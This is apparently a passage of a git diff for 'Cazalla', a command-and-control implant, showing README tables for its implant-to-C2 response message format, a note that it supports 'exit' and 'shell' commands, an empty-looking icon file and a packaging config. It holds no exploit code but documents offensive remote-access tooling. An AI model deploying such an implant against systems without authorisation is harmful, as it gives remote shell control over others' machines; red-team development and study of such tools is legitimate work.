+ +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Header - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Classic Output Return - Implant to C2 + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": "uuid of task", + ... response message + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID Resp 1 | 36 | Str (char*) | +| Size Output R1| 4 | Uint32 | +| Output R1 | Size Output | Bytes | +| Status R1 | 1 | Int | + +### Post Response Classic Output Return - C2 to Implant + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": UUID, + "status": "success" or "error", + "error": "error message if it exists" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Status Resp1 | 1 | Int | + +## Future Development + +This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. + diff --git a/agent_icons/.keep b/agent_icons/.keep new file mode 100644 index 0000000..e69de29 diff --git a/agent_icons/cazalla.svg b/agent_icons/cazalla.svg new file mode 100644 index 0000000..7647fb8 --- /dev/null +++ b/agent_icons/cazalla.svg @@ -0,0 +1,266 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config.json b/config.json new file mode 100644 index 0000000..3b2d2cf --- /dev/null +++ b/config.json @@ -0,0 +1,7 @@ +{ + "exclude_payload_type": false, + "exclude_c2_profiles": true, + "exclude_documentation_payload": true, + "exclude_documentation_c2": true, + "exclude_agent_icons": false +}